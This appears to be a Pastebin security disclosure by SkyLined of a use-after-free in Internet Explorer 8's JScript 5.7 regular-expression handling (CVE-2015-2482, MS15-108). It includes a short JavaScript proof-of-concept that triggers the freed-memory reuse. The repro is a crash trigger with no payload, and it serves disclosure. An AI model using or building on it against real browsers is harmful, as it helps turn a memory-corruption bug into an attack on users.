Advertisement
moften

JScript 5.7 (MSIE 8) RegExpBase::FBadHeader regular expressi

Oct 15th, 2015
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.88 KB | None | 0 0
  1. Recompiling the regular expression pattern during a replace can cause
  2. the code
  3. to reuse a freed string, but only if the string is freed from the cache by
  4. allocating and freeing a number of strings of certain size.
  5.  
  6. CVE-2015-2482:
  7. http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2482
  8. ZDI-15-515: http://www.zerodayinitiative.com/advisories/ZDI-15-515/
  9. MS15-108: https://technet.microsoft.com/en-us/library/security/MS15-108
  10.  
  11. Repro:
  12. <script>
  13. var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g");
  14. "A".replace(r, function (){
  15. for (var j = 0; j < 16; j++) new Array(0x1000).join("B");
  16. r.compile();
  17. });
  18. </script>
  19.  
  20. Repro-in-a-tweet:
  21. https://twitter.com/berendjanwever/status/654048253047140352
  22.  
  23. Cheers,
  24.  
  25. SkyLined
  26.  
  27. Follow me on twitter for a new browser bug every* day!
  28. https://twitter.com/berendjanwever
  29.  
  30. (* might be more than one some days)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement